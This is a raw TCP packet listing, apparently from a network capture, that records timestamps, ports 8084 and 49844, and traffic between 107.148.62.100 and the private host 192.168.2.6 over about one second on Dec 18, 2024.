Dec 18, 2024 13:36:12.342031002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.342668056 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.342793941 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.377137899 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.377450943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.377695084 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.377980947 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.428966045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.429277897 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.429342031 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.429879904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.431855917 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.511027098 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.511305094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.511363983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.511930943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.512238979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.512283087 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.513252974 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.515072107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.515110970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.515364885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.515882969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.515919924 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.517981052 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.518265009 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.518318892 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.518897057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.520204067 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.520247936 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.520533085 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.521202087 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.521238089 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.523412943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.523710012 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.523751020 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.524302006 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.527271986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.527420998 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.527549982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.528121948 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.528168917 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.528424978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.529135942 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.529174089 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.530555010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.530997992 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.531040907 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.531198978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.532486916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.532532930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.533241034 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.533556938 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.533601046 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.534699917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.535708904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.535749912 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.535983086 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.536933899 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.537147045 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.538223982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.538574934 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.538614988 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.539138079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.541378021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.541420937 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.541656971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.542398930 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.542448997 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.543623924 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.543888092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.543930054 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.544764996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.545969009 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.546076059 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.546468973 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.547113895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.547213078 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.548441887 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.548783064 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.548823118 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.549334049 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.551696062 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.551736116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.552141905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.552588940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.552630901 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.554125071 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.554434061 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.554474115 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.554976940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.557029009 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.557080984 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.557312012 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.557862043 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.557902098 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.559032917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.559340000 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.559389114 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.560028076 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.561469078 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.561527014 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.561712980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.563010931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.563062906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.563941002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.564517021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.564565897 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.564815998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.594150066 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.594209909 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.594453096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.595062017 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.595110893 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.645966053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.646173954 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.646244049 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.646713972 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.728851080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.728965998 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.729058981 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.729531050 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.729573965 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.731794119 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.732043982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.732084990 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.732496977 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.734831095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.734936953 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.735078096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.735544920 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.735589981 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.736980915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.737253904 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.737296104 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.737713099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.740291119 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.740333080 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.740457058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.740943909 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.740986109 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.743788958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.744077921 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.744134903 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.744355917 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.744841099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.744963884 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.745244980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.745412111 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.745630980 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.746180058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.746335983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.746387005 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.746788979 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.747025967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.747226000 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.748718023 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.749102116 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.749164104 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.749463081 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.751765013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.751816988 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.752101898 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.752604961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.752649069 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.754067898 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.754329920 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.754376888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.754748106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.756463051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.756505013 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.756674051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.756884098 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.757061005 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.757258892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.759083986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.759145975 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.759260893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.759726048 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.759768963 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.761358023 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.761583090 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.761629105 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.762123108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.763830900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.763883114 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.764089108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.764553070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.764590979 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.766484976 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.766719103 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.766751051 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.767190933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.768940926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.768986940 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.769191027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.769690037 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.769732952 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.771528006 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.771811008 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.771855116 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.772190094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.773849010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.773899078 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.774173975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.774673939 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.774876118 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.776284933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.776537895 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.776583910 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.777030945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.778696060 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.778742075 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.778951883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.779396057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.779438019 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.781240940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.781426907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.781538010 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.782567978 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.782824039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.782869101 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.783272982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.811192036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.811280012 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.811517000 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.811918974 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.811985970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.862991095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.863269091 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.863323927 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.863707066 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.945694923 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.945766926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.945905924 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.946408987 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.946521997 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.948693037 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.948961020 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.949033022 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.949389935 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.951920986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.951967001 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.952075005 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.952414036 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.952455997 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.953916073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.954109907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.954154968 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.954530001 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.955266953 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.955317974 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.955478907 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.956115961 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.956157923 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.957648039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.957937002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.957984924 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.958456993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.960951090 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.961002111 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.961121082 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.961555004 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.961596012 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.963217974 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.963475943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.963522911 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.963944912 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.965507030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.965558052 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.965712070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.965897083 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.965939045 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.966274977 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.968507051 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.968545914 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.968754053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.969208956 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.969253063 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.971013069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.971287012 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.971333981 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.971648932 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.973659992 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.973787069 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.973880053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.974368095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.974420071 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.976016998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.976254940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.976298094 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.976715088 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.978279114 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.978348970 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.978513002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.979018927 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.979055882 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.980001926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.980294943 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.980335951 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.980730057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.983072996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.983128071 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.983355045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.983761072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.983804941 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.985482931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.985749006 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.985883951 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.986185074 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.987952948 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.988008976 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.988142967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.988635063 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.988682985 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.990473986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.990731955 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.990783930 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.991189003 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.992888927 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.992930889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.993190050 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.993577003 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.993647099 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.995385885 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.995640993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.995682001 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.996108055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.997735023 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.997780085 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:12.997945070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.998536110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:12.998579025 CET	49844	8084	192.168.2.6	107.148.62.100
